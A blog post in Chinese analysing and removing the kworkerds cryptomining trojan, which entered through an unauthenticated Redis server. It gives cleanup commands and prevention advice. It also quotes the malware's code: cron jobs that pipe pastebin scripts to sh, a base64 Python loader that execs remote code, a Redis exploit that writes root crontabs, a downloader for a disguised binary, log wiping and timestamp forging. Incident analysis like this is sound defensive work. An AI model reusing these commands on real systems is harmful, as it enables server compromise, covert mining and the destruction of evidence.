kworkerds 挖礦木馬簡單分析及清理

kworkerds 挖礦木馬簡單分析及清理

公司之前的開發和測試環境是在騰訊雲上,部分服務器中過一次挖礦木馬 kworkerds,本文為我當時分析和清理木馬的記錄,希望能對大家有所幫助。

現象

  • top 命令查看,顯示 CPU 佔用 100%,進程名無明顯規則,如:TzBeq3AM。進程有時候會被隱藏,通過分析腳本刪除部分依賴文件,可以顯示出來。
  • 存在可疑的 python 進程。
  • crontab 被寫入了一個定時任務,每半小時左右會從 pastebin 上下載腳本並且執行。

原因

redis 沒有啟用密碼認證。

清理方案

將 redis 服務關閉,並設置密碼。

先阻斷外部連接,再清理定時任務,之後刪除挖礦病毒本體,防止再生。

<code># 防止木馬再次下載
echo '127.0.0.1 pastebin.com' >> /etc/hosts

# 刪除掉局域網服務器之間的免密登錄

# 本機定時任務和木馬都清理乾淨了,重啟後木馬又重新執行,最後發現是因為局域網服務器免密登錄造成的,木馬會通過免密登錄互相複製。
rm -rf ~/.ssh

# 先 kill 掉木馬進程,不然服務器操作起來極慢
ps -ef|grep pastebin |grep -v grep|awk '{print $2}'|xargs kill -9
ps -ef|grep kworkerds|grep -v grep|awk '{print $2}'|xargs kill -9

# 清理定時任務及木馬文件
crontab -r

chattr -i /etc/cron.d/root
sudo echo "" > /etc/cron.d/root

chattr -i /etc/cron.d/apache
sudo echo "" > /etc/cron.d/apache

chattr -i /var/spool/cron/root
sudo echo "" > /var/spool/cron/root

chattr -i /var/spool/cron/crontabs/root
sudo echo "" > /var/spool/cron/crontabs/root

chattr -i /usr/local/lib/libntpd.so
rm -rf /usr/local/lib/libntpd.so

chattr -i /etc/ld.so.preload
rm -rf /etc/ld.so.preload

chattr -i /usr/local/bin/dns
rm -rf /usr/local/bin/dns

rm -rf /etc/cron.hourly/oanacroner
rm -rf /etc/cron.daily/oanacroner
rm -rf /etc/cron.monthly/oanacroner
rm -rf /tmp/kworkerds
rm -rf /tmp/.38t9guft0055d0565u444gtjr0
rm -rf /tmp/.a

# 再次 kill 掉進程,防止清理過程中再次啟動
ps -ef|grep pastebin |grep -v grep|awk '{print $2}'|xargs kill -9

ps -ef|grep kworkerds|grep -v grep|awk '{print $2}'|xargs kill -9

# 驗證進程 kill 成功
ps -ef|grep kworkerds
ps -ef|grep pastebin

# 驗證定時任務清理乾淨
cat /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root

# 驗證相關木馬文件刪除乾淨
ls /usr/local/lib/libntpd.so /etc/ld.so.preload /etc/cron.hourly/oanacroner /etc/cron.daily/oanacroner /etc/cron.monthly/oanacroner /tmp/kworkerds /tmp/.38t9guft0055d0565u444gtjr0 /tmp/.a

# 查看當前用戶定時任務
crontab -l

# 還原 hosts 配置
sed -i 's/^127.0.0.1 pastebin.com*$//g' /etc/hosts

# 重啟再次驗證
reboot
/<code>

分析

木馬的核心代碼邏輯如下:

<code>update=$( curl -fsSL --connect-timeout 120 https://pastebin.com/raw/TzBeq3AM )
if [ ${update}x = "update"x ];then
echocron
else
if [ ! -f "/tmp/.tmph" ]; then
rm -rf /tmp/.tmph
python
fi
kills
downloadrun
echocron
system
top
sleep 10
port=$(netstat -anp | grep :13531 | wc -l)
if [ ${port} -eq 0 ];then
downloadrunxm
fi

echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
fi
/<code>

首先檢查是否有更新,有更新就會執行 echocron 方法進行更新。

<code>function echocron() {
echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\\n##" > /etc/cron.d/root
echo -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\\n##" > /etc/cron.d/system
echo -e "*/23 * * * * (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\\n##" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo -e "*/31 * * * * (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\\n##" > /var/spool/cron/crontabs/root
mkdir -p /etc/cron.hourly
curl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.hourly/oanacron && chmod 755 /etc/cron.hourly/oanacron
if [ ! -f "/etc/cron.hourly/oanacron" ]; then
wget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.hourly/oanacron && chmod 755 /etc/cron.hourly/oanacron
fi
mkdir -p /etc/cron.daily
curl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.daily/oanacron && chmod 755 /etc/cron.daily/oanacron
if [ ! -f "/etc/cron.daily/oanacron" ]; then
wget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.daily/oanacron && chmod 755 /etc/cron.daily/oanacron
fi
mkdir -p /etc/cron.monthly
curl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.monthly/oanacron && chmod 755 /etc/cron.monthly/oanacron
if [ ! -f "/etc/cron.monthly/oanacron" ]; then
wget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.monthly/oanacron && chmod 755 /etc/cron.monthly/oanacron
fi
touch -acmr /bin/sh /var/spool/cron/root
touch -acmr /bin/sh /var/spool/cron/crontabs/root
touch -acmr /bin/sh /etc/cron.d/system
touch -acmr /bin/sh /etc/cron.d/root
touch -acmr /bin/sh /etc/cron.hourly/oanacron
touch -acmr /bin/sh /etc/cron.daily/oanacron
touch -acmr /bin/sh /etc/cron.monthly/oanacron
}
/<code>

檢查 /tmp/.tmph 文件是否存在,如果存在則刪除,執行 python 函數。

<code>function python() {
nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2VSa3JTUWZFJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 &
touch /tmp/.tmph
}

/<code>

base64 的 python 代碼解碼後內容為:

<code>$ python
Python 3.5.0 (v3.5.0:374f501f4567, Sep 12 2015, 11:00:19)
[GCC 4.2.1 (Apple Inc. build 5666) (dot 3)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2VSa3JTUWZFJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz')
b"#coding: utf-8\\nimport urllib\\nimport base64\\n\\nd= 'https://pastebin.com/raw/eRkrSQfE'\\ntry:\\n page=base64.b64decode(urllib.urlopen(d).read())\\n exec(page)\\nexcept:\\n pass"
/<code>

解碼後的 python 代碼又從https://pastebin.com/raw/eRkrSQfE讀取內容,進行執行。

再次解碼後,內容為針對 redis 的攻擊腳本,核心代碼如下:

<code>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect((self.host, 6379))
s.send('set backup1 "\\n\\n\\n*/1 * * * * curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh\\n\\n\\n"rn')
s.send('set backup2 "\\n\\n\\n*/1 * * * * wget -q -O- https://pastebin.com/raw/xbY7p5Tb|sh\\n\\n\\n"rn')
s.send('config set dir /var/spool/cronrn')
s.send('config set dbfilename rootrn')
s.send('savern')
s.close()
/<code>

接著,kills 函數主要是 kill 掉其他木馬以及騰訊雲、阿里雲等安全監控服務。

downloadrun 函數是下載木馬 kworkerds 腳本並執行。

<code>function downloadrun() {
ps=$(netstat -anp | grep :13531 | wc -l)
if [ ${ps} -eq 0 ];then
if [ ! -f "/tmp/kworkerds" ]; then
curl -fsSL http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -o /tmp/kworkerds && chmod 777 /tmp/kworkerds
if [ ! -f "/tmp/kworkerds" ]; then
wget http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -O /tmp/kworkerds && chmod 777 /tmp/kworkerds
fi
nohup /tmp/kworkerds >/dev/null 2>&1 &

else
nohup /tmp/kworkerds >/dev/null 2>&1 &
fi
fi
}
/<code>

接著執行 echocron 函數,寫入定時任務,並清楚相關日誌。

之後執行 system 和 top 函數,下載相關依賴文件,隱藏進程等。

sleep 10秒,判斷是否與端口 13531 建立連接,如果沒有則執行 downloadrunxm 函數,連接挖礦服務器。

預防

  • 任何服務都要設置密碼認證,且強密碼。
  • 為每個服務創建指定用戶運行,防止用 root 用戶直接啟動。
  • 啟用防火牆規則。

linux 知識點

隱藏木馬文件文件,防止通過時間排序來判斷木馬文件。

<code>touch -acmr /bin/sh /etc/ld.so.preload/<code>

touch參數說明:

  • a 改變文件的讀取時間記錄;
  • c 假如文件不存在,不會建立新的文件。
  • m 改變文件的修改時間記錄;
  • r 使用參考文件的時間記錄。

定時任務相關文件

/var/spool/cron:目錄下存放的是每個用戶包括 root 的 crontab 任務,每個任務以創建者的名字命名。

/etc/cron.d:用來存放任何要執行的 crontab 文件或腳本。

/etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly:用 anacron 執行週期性的定時任務。


分享到:


相關文章: